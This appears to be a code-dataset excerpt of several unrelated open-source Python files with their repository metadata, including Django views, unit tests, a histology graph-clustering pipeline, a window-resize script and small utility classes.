db23bc2f48bbe27370cacdb29e9ec564e4b4efa5

[ "MIT" ]

null

print("hello world") # code server works with android but not iPhone jnnmj

18.75

47

0.773333

12

75

4.833333

1

0

0.16

75

3

48

25

0.920635

0.6

0

0.392857

0

1

0

true

0

0.5

1

0

null

0

1

0

null

0

1

0

1

0

4

bb33dfde0f6646bfdb624a668661f855a8c29631

577

py

Python

mpk/views.py

Machina123/PythonAssignment

c1fa274810887350735c958c55462d236146ef8f

[ "MIT" ]

null

mpk/views.py

Machina123/PythonAssignment

c1fa274810887350735c958c55462d236146ef8f

[ "MIT" ]

null

mpk/views.py

Machina123/PythonAssignment

c1fa274810887350735c958c55462d236146ef8f

[ "MIT" ]

null

from django.http import HttpResponse import json import requests from . import stops def index(request): return HttpResponse("Hello World") def get_departures(request): if "stop" in request.GET: req = requests.get(stops.MPK_ENDPOINT_DEPARTS + "?stop=" + request.GET["stop"] + "&mode=departure") return HttpResponse(json.dumps(req.json())) else: return HttpResponse(json.dumps({"success": False, "error": "No stop specified"})) def get_stops(request): return HttpResponse(json.dumps({v: k for k, v in stops.MPK_TRAMSTOPS.items()}))

27.47619

107

0.694974

76

577

5.210526

0.486842

0.181818

0.166667

0.204545

0

0.169844

577

20

108

28.85

0.826722

0

0.119584

0

1

0.214286

false

0

0.285714

0.142857

0.785714

0

null

0

1

0

null

0

1

0

1

0

4

24819c2b6dc08ee2e6c03f518da28f5cb64219e3

71

py

Python

studies/2016-09-05_1205 Context/a02 module-scope variables/mod2.py

friedrichromstedt/upy

4b6b890259fb34bc69265fc400881587157b03a3

[ "MIT" ]

3

2015-06-01T23:09:38.000Z

2015-10-06T13:14:23.000Z

studies/2016-09-05_1205 Context/a02 module-scope variables/mod2.py

friedrichromstedt/upy

4b6b890259fb34bc69265fc400881587157b03a3

[ "MIT" ]

null

studies/2016-09-05_1205 Context/a02 module-scope variables/mod2.py

friedrichromstedt/upy

4b6b890259fb34bc69265fc400881587157b03a3

[ "MIT" ]

null

import mod from mod import access mod.registry[1] = 2 print access(1)

11.833333

22

0.746479

13

71

4.076923

0.615385

0

0.050847

0.169014

71

5

23

14.2

0.847458

0

null

0

0.5

null

0.25

1

0

null

0

1

0

null

0

1

0

1

0

4

24896fe979f00306685a61449b075be61afbf254

4,439

py

Python

tests/test_ratio.py

tocoli/tocolib

1ff7080077021a444bb14e3386e579eb1f018d53

[ "MIT" ]

null

tests/test_ratio.py

tocoli/tocolib

1ff7080077021a444bb14e3386e579eb1f018d53

[ "MIT" ]

null

tests/test_ratio.py

tocoli/tocolib

1ff7080077021a444bb14e3386e579eb1f018d53

[ "MIT" ]

null

#!/usr/bin/env python # -*- coding: utf-8 -*- import unittest from tocoli.ratio import * from tocoli import ratio hello = u'Hello' world = u'World' class TestRatios(unittest.TestCase): # @unittest.skip("skip this test") def test_count_equal_chars(self): self.assertRaises(TypeError, count_equal_chars, None, None) res = count_equal_chars('', '') self.assertEqual(res, 0) res = count_equal_chars('a', 'b') self.assertEqual(res, 0) res = count_equal_chars('a', 'a') self.assertEqual(res, 1) res = count_equal_chars(u'a', u'a') self.assertEqual(res, 1) res = count_equal_chars(hello, world) self.assertEqual(res, 2) res = count_equal_chars(world, hello) self.assertEqual(res, 2) # @unittest.skip("skip this test") def test_equal(self): res = equal(hello, world) self.assertEqual(res, 2/float(5)) res = equal(world, hello) self.assertEqual(res, 2/float(5)) # @unittest.skip("skip this test") def test_meta(self): # one function res = meta(hello, world, [equal], [1]) self.assertEqual(res, 0.4) res = meta(world, hello, [equal], [1]) self.assertEqual(res, 0.4) res = meta(hello, world, [equal], [0.5]) self.assertEqual(res, 0.4) res = meta(world, hello, [equal], [0.5]) self.assertEqual(res, 0.4) # two functions (same) res = meta(hello, world, [equal, equal], [1, 1]) self.assertEqual(res, 0.4) res = meta(world, hello, [equal, equal], [1, 1]) self.assertEqual(res, 0.4) res = meta(hello, world, [equal, equal], [0.5, 1]) self.assertEqual(res, 0.4000000000000001) res = meta(world, hello, [equal, equal], [0.5, 1]) self.assertEqual(res, 0.4000000000000001) res = meta(hello, world, [equal, equal], [1, 2]) self.assertEqual(res, 0.4000000000000001) res = meta(world, hello, [equal, equal], [1, 2]) self.assertEqual(res, 0.4000000000000001) # two functions (different) res = meta(hello, world, [equal, levenshtein], [1, 1]) self.assertEqual(res, 0.30000000000000004) res = meta(world, hello, [equal, levenshtein], [1, 1]) self.assertEqual(res, 0.30000000000000004) res = meta(hello, world, [equal, levenshtein], [0.5, 1]) self.assertEqual(res, 0.26666666666666666) res = meta(world, hello, [equal, levenshtein], [0.5, 1]) self.assertEqual(res, 0.26666666666666666) res = meta(hello, world, [equal, levenshtein], [1, 2]) self.assertEqual(res, 0.26666666666666666) res = meta(world, hello, [equal, levenshtein], [1, 2]) self.assertEqual(res, 0.26666666666666666) # @unittest.skip("skip this test") def test_similarity(self): res = similarity(hello, world) self.assertEqual(res, 0.30000000000000004) res = similarity(world, hello) self.assertEqual(res, 0.30000000000000004) res = similarity(hello, u'ello') self.assertEqual(res, 0.7444444444444445) res = similarity(hello, u'bello') self.assertEqual(res, 0.7) res = similarity(hello, u'trello') self.assertEqual(res, 0.6136363636363636) res = similarity(hello, u'resello') self.assertEqual(res, 0.5476190476190476) res = similarity(hello, u'schnello') self.assertEqual(res, 0.4951923076923077) # weights (equal, levenshtein) res = similarity(hello, u'ello', (1,4)) self.assertEqual(res, 0.831111111111111) res = similarity(hello, u'bello', (1,4)) self.assertEqual(res, 0.76) res = similarity(hello, u'trello', (1,4)) self.assertEqual(res, 0.6818181818181819) res = similarity(hello, u'resello', (1,4)) self.assertEqual(res, 0.619047619047619) res = similarity(hello, u'schnello', (1,4)) self.assertEqual(res, 0.5673076923076923) # @unittest.skip("skip this test") def test_median(self): from tocoli.ratio import median res = median([1, 3, 5]) self.assertEqual(res, 3.0) res = median([1, 3, 5, 7]) self.assertEqual(res, 4.0) res = median([7, 12, 3, 1, 6, 9]) self.assertEqual(res, 6.5) if __name__ == '__main__': unittest.main()

27.918239

67

0.594278

551

4,439

4.735027

0.136116

0.224224

0.269069

0.218475

0.719433

0.605213

0.512074

0.390571

0.381372

0.280951

0

0.133374

0.260194

4,439

158

68

28.094937

0.661084

0.066682

0

0.27957

0

0.020329

0

0.430108

1

0.053763

false

0

0.043011

0

0.107527

0

null

1

0

null

0

1

0

4

24bdc09b31c8ce5a2ce7448289fb9645fcbd77cd

246

py

Python

restkit/handlers/http_mrg_handlers/http_report_handlers/collect_modules.py

ppolxda/restkit

eeb6177ccd75f8ba7b2faa252116f1e745d0f91b

[ "MIT" ]

null

restkit/handlers/http_mrg_handlers/http_report_handlers/collect_modules.py

ppolxda/restkit

eeb6177ccd75f8ba7b2faa252116f1e745d0f91b

[ "MIT" ]

null

restkit/handlers/http_mrg_handlers/http_report_handlers/collect_modules.py

ppolxda/restkit

eeb6177ccd75f8ba7b2faa252116f1e745d0f91b

[ "MIT" ]

null

from restkit.handlers.http_mrg_handlers import query_handler as chandler_0 # noqa from restkit.handlers.http_mrg_handlers.http_report_handlers import report_csv_handler as chandler_1 # noqa __all__ = [ 'chandler_0', 'chandler_1', ]

22.363636

108

0.788618

35

246

5.057143

0.457143

0.20339

0.214689

0.259887

0.384181

0

0.019048

0.146341

246

10

109

24.6

0.82381

0.036585

0

0.086207

0

1

0

false

0

0.333333

0

0.333333

0

null

1

0

null

0

1

0

4

24c0597ad18cf7e59a8f98085109bfa7f0d4c0f0

23,307

py

Python

SG/pipeline/py/old/pipeline.fromQuPath.py

BiCroLab/WSI-analysis

9f55a7a5296d006f2da8adfb2fe6a22eebe3dc42

[ "MIT" ]

null

SG/pipeline/py/old/pipeline.fromQuPath.py

BiCroLab/WSI-analysis

9f55a7a5296d006f2da8adfb2fe6a22eebe3dc42

[ "MIT" ]

null

SG/pipeline/py/old/pipeline.fromQuPath.py

BiCroLab/WSI-analysis

9f55a7a5296d006f2da8adfb2fe6a22eebe3dc42

[ "MIT" ]

null

#!/usr/bin/env python import networkx as nx import numpy as np from graviti import * import sys from scipy import sparse, linalg import os import copy import seaborn as sns; sns.set() import matplotlib matplotlib.use('Agg') # Must be before importing matplotlib.pyplot or pylab! import matplotlib.pyplot as plt filename = sys.argv[1] # name of the morphology mesearements from qupath radius = int(sys.argv[2]) # for smoothing rndsample = int(sys.argv[3]) # for community detection stochasticity basename_graph = os.path.splitext(os.path.basename(filename))[0] if os.path.splitext(os.path.basename(filename))[1] == '.gz': basename = os.path.splitext(os.path.splitext(os.path.basename(filename))[0])[0]+'.r'+str(radius)+'.s'+str(rndsample) dirname = os.path.dirname(filename) #################################################################################################### # Construct the UMAP graph # and save the adjacency matrix # and the degree and clustering coefficient vectors ################################################################################################### print('Prepare the topological graph ...') nn = 10 # this is hardcoded at the moment path = os.path.join(dirname, basename_graph)+'.nn'+str(nn)+'.adj.npz' if os.path.exists(path) and os.path.exists( os.path.join(dirname, basename_graph) + ".graph.pickle" ): print('The graph exists already') A = sparse.load_npz(path) #id...graph.npz pos = np.loadtxt(filename, delimiter="\t",skiprows=True,usecols=(5,6)) # here there is no header G = nx.read_gpickle(os.path.join(dirname, basename_graph) + ".graph.pickle") d = getdegree(G) cc = clusteringCoeff(A) else: print('The graph does not exists yet') pos = np.loadtxt(filename, delimiter="\t",skiprows=True,usecols=(5,6)) # here there is no header A = space2graph(pos,nn) sparse.save_npz(path, A) G = nx.from_scipy_sparse_matrix(A, edge_attribute='weight') d = getdegree(G) cc = clusteringCoeff(A) outfile = os.path.join(dirname, basename_graph)+'.nn'+str(nn)+'.degree.gz' np.savetxt(outfile, d) outfile = os.path.join(dirname, basename_graph)+'.nn'+str(nn)+'.cc.gz' np.savetxt(outfile, cc) nx.write_gpickle(G, os.path.join(dirname, basename_graph) + ".graph.pickle") pos2norm = np.linalg.norm(pos,axis=1).reshape((pos.shape[0],1)) # the modulus of the position vector to preserve translational invariance print('Topological graph ready!') print('The graph has '+str(A.shape[0])+' nodes') #################################################################################################### # Select the morphological features, # and set the min number of nodes per subgraph ################################################################################################### print('Prepare the morphology array') # Features list = Nucleus:_Area Nucleus:_Perimeter Nucleus:_Circularity Nucleus:_Eccentricity Nucleus:_Hematoxylin_OD_mean Nucleus:_Hematoxylin_OD_sum from sklearn.preprocessing import normalize # morphology = np.loadtxt(filename, delimiter="\t", skiprows=True, usecols=(7,8,9,12,13,14)).reshape((A.shape[0],6)) morphology = np.loadtxt(filename, delimiter="\t", skiprows=True, usecols=(7,9,12,14)).reshape((A.shape[0],4)) # morphology = np.loadtxt(filename, delimiter="\t", skiprows=True, usecols=(7,9,12)).reshape((A.shape[0],3)) threshold = max(radius,(morphology.shape[1]+4)*2) # set the min subgraph size based on the dim of the feature matrix # #################################################################################################### # # Smooth the morphology # ################################################################################################### # print('Smooth the morphology') # outfile = os.path.join(dirname, basename)+'.smooth' # if os.path.exists(outfile+'.npy'): # morphology_smooth = np.load(outfile+'.npy', allow_pickle=True) # else: # morphology_smooth = smoothing(A, morphology, radius) # np.save(outfile, morphology_smooth) #################################################################################################### # Reweight the graph ################################################################################################### print('Rescale graph weights by local morphology') print('...use the raw morphology...') morphology_normed = normalize(morphology, norm='l1', axis=0) # normalize features GG = copy.deepcopy(G) for ijw in G.edges(data='weight'): feature = np.asarray([ abs(morphology_normed[ijw[0],f]-morphology_normed[ijw[1],f]) for f in range(morphology_normed.shape[1]) ]) # array of morphology features GG[ijw[0]][ijw[1]]['weight'] = ijw[2]/(1.0+np.sum(feature)) # the new graph weights is the ratio between the current and the sum of the neightbours differences #################################################################################################### # Community detection ################################################################################################### print('Find the communities in GG') from cdlib import algorithms from cdlib import evaluation from cdlib.utils import convert_graph_formats import igraph import leidenalg from networkx.algorithms.community.quality import modularity print('...generate connected components as subgraphs...') graphs = list(nx.connected_component_subgraphs(GG)) print('...convert networkx graph to igraph object...') communities = [] for graph in graphs: nx.write_weighted_edgelist(graph, basename+".edgelist.txt") g = igraph.Graph.Read_Ncol(basename+".edgelist.txt", names=True, weights="if_present", directed=False) os.remove(basename+".edgelist.txt") part = leidenalg.find_partition(g, leidenalg.ModularityVertexPartition,initial_membership=None, weights='weight', seed=rndsample, n_iterations=2) communities.extend([g.vs[x]['name'] for x in part]) print( 'The number of communities is '+str(len(communities)) ) bigcommunities = [g for g in communities if len(g) > threshold] # list of big enough communities outfile = os.path.join(dirname, basename)+'.bigcommunities' np.save(outfile, bigcommunities) print('There are '+str(len(bigcommunities))+' big communities and '+str(len(communities))+' communities in total') #################################################################################################### # Generate the covariance descriptors # this can be done with respect to raw features or smoothed ones ################################################################################################### print('Generate the covariance descriptor') #!!! Should positions be included? !!! # features = np.hstack((pos2norm,morphology)) # this is rotational invariant features = morphology # this is rotational invariant outfile_covd = os.path.join(dirname, basename)+'.covd.npy' if os.path.exists(outfile_covd): print('... loading the descriptors ...') covdata = np.load(outfile_covd,allow_pickle=True) else: print('... creating the descriptors ...') # !!! you can use G or GG here !!! covdata = community_covd(features,G,bigcommunities) # get list of cov matrices and a list of nodes per matrix np.save(outfile_covd,covdata) print('There are '+str(len(covdata))+' covariance descriptors ') #################################################################################################### # Cluster the covariance descriptors ################################################################################################### print('Clustering the descriptors') import umap import hdbscan import sklearn.cluster as cluster from sklearn.cluster import OPTICS from sklearn.metrics import adjusted_rand_score, adjusted_mutual_info_score from sklearn.cluster import AgglomerativeClustering from sklearn.cluster import SpectralClustering print('...prepare the data...') outfile_logvec = os.path.join(dirname, basename)+'.logvec.npy' if os.path.exists(outfile_logvec): print('...load the logvec dataset...') X = np.load(outfile_logvec,allow_pickle=True) else: print('...create the logvec dataset...') logvec = [ linalg.logm(m).reshape((1,covdata[0].shape[0]*covdata[0].shape[1])) for m in covdata] #calculate the logm and vectorize X = np.vstack(logvec) #create the array of vectorized covd data np.save(outfile_logvec,X) print('The vectorized covd array has shape '+str(X.shape)) outfile_clusterable_embedding = os.path.join(dirname, basename)+'.clusterable_embedding.npy' if os.path.exists(outfile_clusterable_embedding): print('...load the clusterable embedding...') clusterable_embedding = np.load(outfile_clusterable_embedding,allow_pickle=True) else: print('...create the clusterable embedding...') clusterable_embedding = umap.UMAP(min_dist=0.0,n_components=3,random_state=42).fit_transform(X) # this is used to identify clusters np.save(outfile_clusterable_embedding,clusterable_embedding) print('The embedding has shape '+str(clusterable_embedding.shape)) # #################################################################################################### # # Free up spaces # ################################################################################################### # del G # G is not needed anymore # del A # A is not needed anymore # del morphology # #################################################################################################### # # Color graph nodes by community label # ################################################################################################### # print('Preparing to color the graph communities') # print('...set up the empty graph...') # g = nx.Graph() # g.add_nodes_from(range(pos.shape[0])) # add all the nodes of the graph, but not all of them are in a covd cluster because of small communities # print('...set up the empty dictionary...') # dictionary = {} # for node in range(pos.shape[0]): # dictionary[int(node)] = -1 # set all node to -1 # print('...set up the full dictionary...') # node_comm_tuples = [(int(node),i) for i, community in enumerate(bigcommunities) for node in community] # dictionary.update(dict(node_comm_tuples)) # node_color = [] # for i in sorted (dictionary) : # determine the color based on the community # node_color.append(dictionary[i]) # print('...draw the graph...') # sns.set(style='white', rc={'figure.figsize':(50,50)}) # nx.draw_networkx_nodes(g, pos, alpha=0.5,node_color=node_color, node_size=1,cmap=plt.cm.Set1) # print('...saving graph...') # plt.axis('off') # plt.savefig(os.path.join(dirname, basename)+'.community_graph.png') # save as png # plt.close() # #################################################################################################### # # Reweight the graph # ################################################################################################### # print('Rescale graph weights by local morphology') # print('...use the raw morphology...') # morphology_normed = normalize(morphology, norm='l1', axis=0) # normalize features # GG = copy.deepcopy(G) # for ijw in G.edges(data='weight'): # feature = np.asarray([ abs(morphology_normed[ijw[0],f]-morphology_normed[ijw[1],f]) for f in range(morphology_normed.shape[1]) ]) # array of morphology features # GG[ijw[0]][ijw[1]]['weight'] = ijw[2]/(1.0+np.sum(feature)) # the new graph weights is the ratio between the current and the sum of the neightbours differences # #################################################################################################### # # Community detection # ################################################################################################### # print('Find the communities in GG') # from cdlib import algorithms # from cdlib import evaluation # from cdlib.utils import convert_graph_formats # import igraph # import leidenalg # from networkx.algorithms.community.quality import modularity # print('...generate connected components as subgraphs...') # graphs = list(nx.connected_component_subgraphs(GG)) # print('...convert networkx graph to igraph object...') # communities = [] # for graph in graphs: # nx.write_weighted_edgelist(graph, basename+".edgelist.txt") # g = igraph.Graph.Read_Ncol(basename+".edgelist.txt", names=True, weights="if_present", directed=False) # os.remove(basename+".edgelist.txt") # part = leidenalg.find_partition(g, leidenalg.ModularityVertexPartition,initial_membership=None, weights='weight', seed=rndsample, n_iterations=2) # communities.extend([g.vs[x]['name'] for x in part]) # print( 'The number of communities is '+str(len(communities)) ) # bigcommunities = [g for g in communities if len(g) > threshold] # list of big enough communities # outfile = os.path.join(dirname, basename)+'.bigcommunities' # np.save(outfile, bigcommunities) # print('There are '+str(len(bigcommunities))+' big communities and '+str(len(communities))+' communities in total') # #################################################################################################### # # Generate the covariance descriptors # # this can be done with respect to raw features or smoothed ones # ################################################################################################### # print('Generate the covariance descriptor') # features = np.hstack((pos2norm,morphology)) # this is rotational invariant # outfile_covd = os.path.join(dirname, basename)+'.covd.npy' # if os.path.exists(outfile_covd): # print('... loading the descriptors ...') # covdata = np.load(outfile_covd,allow_pickle=True) # else: # print('... creating the descriptors ...') # covdata = community_covd(features,G,bigcommunities) # get list of cov matrices and a list of nodes per matrix # np.save(outfile_covd,covdata) # print('There are '+str(len(covdata))+' covariance descriptors ') # #################################################################################################### # # Cluster the covariance descriptors # ################################################################################################### # print('Clustering the descriptors') # import umap # import hdbscan # import sklearn.cluster as cluster # from sklearn.cluster import OPTICS # from sklearn.metrics import adjusted_rand_score, adjusted_mutual_info_score # from sklearn.cluster import AgglomerativeClustering # from sklearn.cluster import SpectralClustering # print('...prepare the data...') # outfile_logvec = os.path.join(dirname, basename)+'.logvec.npy' # if os.path.exists(outfile_logvec): # print('...load the logvec dataset...') # X = np.load(outfile_logvec,allow_pickle=True) # else: # print('...create the logvec dataset...') # logvec = [linalg.logm(m).reshape((1,covdata[0].shape[0]*covdata[0].shape[1])) for m in covdata] #calculate the logm and vectorize # X = np.vstack(logvec) #create the array of vectorized covd data # np.save(outfile_logvec,X) # print('The vectorized covd array has shape '+str(X.shape)) # outfile_clusterable_embedding = os.path.join(dirname, basename)+'.clusterable_embedding.npy' # if os.path.exists(outfile_clusterable_embedding): # print('...load the clusterable embedding...') # clusterable_embedding = np.load(outfile_clusterable_embedding,allow_pickle=True) # else: # print('...create the clusterable embedding...') # clusterable_embedding = umap.UMAP(min_dist=0.0,n_components=3,random_state=42).fit_transform(X) # this is used to identify clusters # np.save(outfile_clusterable_embedding,clusterable_embedding) # print('The embedding has shape '+str(clusterable_embedding.shape)) # #################################################################################################### # # Free up spaces # ################################################################################################### # del G # G is not needed anymore # del A # A is not needed anymore # del morphology # #################################################################################################### # # Color graph nodes by community label # ################################################################################################### # print('Preparing to color the graph communities') # print('...set up the empty graph...') # g = nx.Graph() # g.add_nodes_from(range(pos.shape[0])) # add all the nodes of the graph, but not all of them are in a covd cluster because of small communities # print('...set up the empty dictionary...') # dictionary = {} # for node in range(pos.shape[0]): # dictionary[int(node)] = -1 # set all node to -1 # print('...set up the full dictionary...') # node_comm_tuples = [(int(node),i) for i, community in enumerate(bigcommunities) for node in community] # dictionary.update(dict(node_comm_tuples)) # node_color = [] # for i in sorted (dictionary) : # determine the color based on the community # node_color.append(dictionary[i]) # print('...draw the graph...') # sns.set(style='white', rc={'figure.figsize':(50,50)}) # nx.draw_networkx_nodes(g, pos, alpha=0.5,node_color=node_color, node_size=1,cmap=plt.cm.Set1) # print('...saving graph...') # plt.axis('off') # plt.savefig(os.path.join(dirname, basename)+'.community_graph.png') # save as png # plt.close() # ################################################################################################### # ################################################################################################### # # # print('...cluster the descriptors...') # # # labels = hdbscan.HDBSCAN(min_samples=50,min_cluster_size=100).fit_predict(clusterable_embedding) # # labels = OPTICS(min_samples=50, xi=.01, min_cluster_size=.05).fit_predict(clusterable_embedding) # cluster label vector of covmatrices # # # labels = AgglomerativeClustering(n_clusters=4).fit_predict(clusterable_embedding) # # # labels = SpectralClustering(n_clusters=3,assign_labels="discretize",random_state=42).fit_predict(clusterable_embedding) # mem demanding # # outfile_cluster_labels = os.path.join(dirname, basename)+'.cluster_labels.npy' # # np.save(outfile_cluster_labels, labels) # # print('There are '+str(len(set(labels)))+' clusters:'+str(set(labels))) # # cluster_features = cluster_morphology(morphology_smooth,graph2covd,labels) # # outfile_cluster_features = os.path.join(dirname, basename)+'.cluster_features.npy' # # print('The shape of the cluster feature matrix is ',str(cluster_features.shape)) # # np.save(outfile_cluster_features, cluster_features) # # print('...plot the clusters...') # # clusteredD = (labels >= 0) # # non_clusteredD = (labels < 0) # # print(str(sum(clusteredD))+' descriptors clustered of '+str(labels.shape[0])+' in total') # # print(str(sum(non_clusteredD))+' descriptors NOT clustered of '+str(labels.shape[0])+' in total') # # plt.scatter(clusterable_embedding[:, 0], # # clusterable_embedding[:, 1], # # c='k',#(0.5, 0.5, 0.5), # # s=0.1, # # alpha=0.5) # # plt.scatter(clusterable_embedding[~clusteredD, 0], # # clusterable_embedding[~clusteredD, 1], # # c='k',#(0.5, 0.5, 0.5), # # s=0.1, # # alpha=0.5) # # plt.scatter(clusterable_embedding[clusteredD, 0], # # clusterable_embedding[clusteredD, 1], # # c=labels[clusteredD], # # s=0.1, # # cmap='viridis'); # # outfile = os.path.join(dirname, basename)+'.covd-clustering.png' # # plt.savefig(outfile) # save as png # # plt.close() # # #################################################################################################### # # # Color nodes by labels # # ################################################################################################### # # print('Color the graph by descriptor cluster') # # node_cluster_color = -1.0*np.ones(A.shape[0]) #check # # ind = 0 # this is the subgraph label # # for nodes in graph2covd: # for each subgraph and corresponding covariance matrix # # node_cluster_color[nodes] = labels[ind] # update node_color with cluster labels for each node in the subgraph # # ind += 1 # # clusteredN = (node_cluster_color >= 0) # bolean array with true for clustered nodes and false for the rest # # print(str(sum(clusteredN))+' nodes clustered of '+str(clusteredN.shape[0])+' in total') # # non_clusteredN = (node_cluster_color < 0) # bolean array with true for clustered nodes and false for the rest # # print(str(sum(non_clusteredN))+' nodes NOT clustered of '+str(clusteredN.shape[0])+' in total') # # clustered_nodes = np.asarray(list(G.nodes))[clusteredN] # # clustered_nodes_color = node_cluster_color[clusteredN] # # subG = G.subgraph(clustered_nodes) # # sns.set(style='white', rc={'figure.figsize':(50,50)}) # # nx.draw_networkx_nodes(subG, pos, alpha=0.5,node_color=clustered_nodes_color, node_size=1,cmap='viridis') # # plt.margins(0,0) # # plt.gca().xaxis.set_major_locator(plt.NullLocator()) # # plt.gca().yaxis.set_major_locator(plt.NullLocator()) # # plt.axis('off') # # outfile = os.path.join(dirname, basename)+'.node-clustering.png' # # plt.savefig(outfile, dpi=100) # save as png # # # plt.savefig(outfile, dpi=100,bbox_inches = 'tight', pad_inches = 0.5) # save as png # # plt.close() # # #################################################################################################### # # # Color nodes not clustered before # # ################################################################################################### # # print('Determine the connected components of the non clustered nodes') # # non_clustered_nodes = np.asarray(list(G.nodes))[non_clusteredN] # # subGnot = G.subgraph(non_clustered_nodes) # # graphs = [g for g in list(nx.connected_component_subgraphs(subGnot)) if g.number_of_nodes()>=20] # # print('Determine covariance matrix of the non clustered connected components') # # covdata, graph2covd = covd_multifeature(features,G,graphs) # # logvec = [linalg.logm(m).reshape((1,covdata[0].shape[0]*covdata[0].shape[1])) for m in covdata] #calculate the logm and vectorize # # X_nonclustered = np.vstack(logvec) #create the array of vectorized covd data # # print('Cluster the other connected components by finding the min distance to the clustered subgraphs') # # from scipy import spatial # # reference = X[clusteredD,:] # # tree = spatial.KDTree(reference) # # for row_ind in range(X_nonclustered.shape[0]): # # index = tree.query(X_nonclustered[row_ind,:])[1] # # for nodes in graph2covd: # # node_cluster_color[nodes] = labels[index] # # sns.set(style='white', rc={'figure.figsize':(50,50)}) # # nx.draw_networkx_nodes(G, pos, alpha=0.5,node_color=node_cluster_color, node_size=1,cmap='viridis') # # plt.margins(0,0) # # plt.gca().xaxis.set_major_locator(plt.NullLocator()) # # plt.gca().yaxis.set_major_locator(plt.NullLocator()) # # plt.axis('off') # # outfile = os.path.join(dirname, basename)+'.all-node-clustering.png' # # plt.savefig(outfile, dpi=100) # save as png # # # plt.savefig(outfile, dpi=100,bbox_inches = 'tight', pad_inches = 0.5) # save as png # # plt.close()

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24d9c3651d12945dfd5c6b2e2bcb6cddf24ab3d2

143

py

Python

autokey/data/Bspc/node_width_decrease.py

Curiosidad-Racional/.config

af5a8901510e4b87dff1be024d3d29987c148f3f

[ "MIT" ]

2

2021-05-29T18:11:26.000Z

2021-10-21T20:53:16.000Z

autokey/data/Bspc/node_width_decrease.py

Curiosidad-Racional/.config

af5a8901510e4b87dff1be024d3d29987c148f3f

[ "MIT" ]

null

autokey/data/Bspc/node_width_decrease.py

Curiosidad-Racional/.config

af5a8901510e4b87dff1be024d3d29987c148f3f

[ "MIT" ]

null

from subprocess import run p = run("bspc node -z left 20 0", shell=True) if p.returncode != 0: run("bspc node -z right -20 0", shell=True)

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null

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24df1f4661716e15e9d58d54c5bf448a113f41bf

613

py

Python

examplequeries.py

ConflictGK/CodeCatch-RSSE

b0901a79615653403d09936327f79abfb49114b3

[ "MIT" ]

2

2017-10-18T21:47:52.000Z

2017-10-18T22:13:58.000Z

examplequeries.py

ConflictGK/Codecatch-RSSE

b0901a79615653403d09936327f79abfb49114b3

[ "MIT" ]

null

examplequeries.py

ConflictGK/Codecatch-RSSE

b0901a79615653403d09936327f79abfb49114b3

[ "MIT" ]

3

2019-01-30T04:34:42.000Z

2019-04-11T04:24:03.000Z

import os class ExampleResults: def __init__(self, cwd): self.example_queries = [] self.EXPERIMENTS_DIR = cwd + os.path.sep + "experiments" + os.path.sep def read_example_queries(self): if not self.example_queries: self.example_queries = [] with open(self.EXPERIMENTS_DIR + "queries.txt") as infile: for line in infile: line = line.strip() if line: self.example_queries.append(line) return self.example_queries def is_example_query(self, query): return query in self.example_queries def get_example_query_index(self, query): return self.example_queries.index(query)

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null

0

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0

1

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4

24edcbadd4ddf34ecea1e24d8833001ac234bace

53

py

Python

src/models/predict_model.py

TuomoKareoja/tj_kaggle_ga

d7df2849897e373e810cd55736b7b00e0f495d2c

[ "MIT" ]

null

src/models/predict_model.py

TuomoKareoja/tj_kaggle_ga

d7df2849897e373e810cd55736b7b00e0f495d2c

[ "MIT" ]

1

2018-10-01T14:58:22.000Z

2018-10-01T15:17:32.000Z

src/models/predict_model.py

TuomoKareoja/tj_kaggle_ga

d7df2849897e373e810cd55736b7b00e0f495d2c

[ "MIT" ]

null

""" .. module:: predict_model.py :synopsis: """

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1

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1

0

null

0

1

0

4

7001d408958960cf918b3fd8b9dbee5efe55f16b

176

py

Python

notepadproj/notepadapp/forms.py

danieldouglas88/Django-NotePad

aa1f7ca05f84e16fda728abf900501e8f5f85f5d

[ "Apache-2.0" ]

null

notepadproj/notepadapp/forms.py

danieldouglas88/Django-NotePad

aa1f7ca05f84e16fda728abf900501e8f5f85f5d

[ "Apache-2.0" ]

null

notepadproj/notepadapp/forms.py

danieldouglas88/Django-NotePad

aa1f7ca05f84e16fda728abf900501e8f5f85f5d

[ "Apache-2.0" ]

null

from django import forms from .models import NotePad import datetime class NoteForm(forms.ModelForm): class Meta: model = NotePad fields = '__all__'

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null

0

1

0

1

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4

7024dddd195fa82cec0b5a1710c3acfd8d279ee0

708

py

Python

abstractbrain.py

kourgeorge/plus-maze-simulator

6bc8ca5b6f4401fa56d194f4f17707751ba0221e

[ "MIT" ]

null

abstractbrain.py

kourgeorge/plus-maze-simulator

6bc8ca5b6f4401fa56d194f4f17707751ba0221e

[ "MIT" ]

null

abstractbrain.py

kourgeorge/plus-maze-simulator

6bc8ca5b6f4401fa56d194f4f17707751ba0221e

[ "MIT" ]

null

__author__ = 'gkour' class AbstractBrain: def __init__(self, reward_discount): self.reward_discount = reward_discount def think(self, obs, agent): '''Given an observation should return a distribution over the action set''' raise NotImplementedError() def consolidate(self, memory, agent): raise NotImplementedError() def num_trainable_parameters(self): raise NotImplementedError() def get_network(self): raise NotImplementedError() def save_model(self, path): raise NotImplementedError() def load_model(self, path): raise NotImplementedError() def __str__(self): return self.__class__.__name__

23.6

83

0.679379

73

708

6.205479

0.520548

0.317881

0.357616

0.136865

0.1766

0

0.240113

708

29

84

24.413793

0.842007

0.097458

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1

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null

0

1

0

1

0

4

7026b81e25b6a58bd6a8530d6b164fc9edd84ca7

448

py

Python

cfw/framework/errors.py

zinic/python-cfw

48d339537cb958c29294eca5fbf81b98e5858fde

[ "MIT" ]

1

2017-07-21T00:34:15.000Z

cfw/framework/errors.py

zinic/python-cfw

48d339537cb958c29294eca5fbf81b98e5858fde

[ "MIT" ]

null

cfw/framework/errors.py

zinic/python-cfw

48d339537cb958c29294eca5fbf81b98e5858fde

[ "MIT" ]

null

class CommandError(Exception): def __init__(self, msg: str = "") -> None: super(CommandError, self).__init__() self.msg = msg def __str__(self) -> str: return self.msg class CommandArgumentError(CommandError): pass class CommandNotFoundError(CommandError): pass class CommandDependencyError(CommandError): def __str__(self) -> str: return "Command Dependency Error: {}".format(self.msg)

19.478261

62

0.667411

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448

6.288889

0.422222

0.09894

0.077739

0.091873

0.134276

0

0.220982

448

22

63

20.363636

0.810888

0

0.307692

0

0.0625

0

1

0.230769

false

0.153846

0

0.153846

0.692308

0

null

0

null

0

1

0

1

0

1

0

4

705010b6cdc85b2754b015049694208d40047252

2,140

py

Python

OpenGLWrapper_JE/venv/Lib/site-packages/OpenGL/GLES2/NV/read_buffer.py

JE-Chen/je_old_repo

a8b2f1ac2eec25758bd15b71c64b59b27e0bcda5

[ "MIT" ]

null

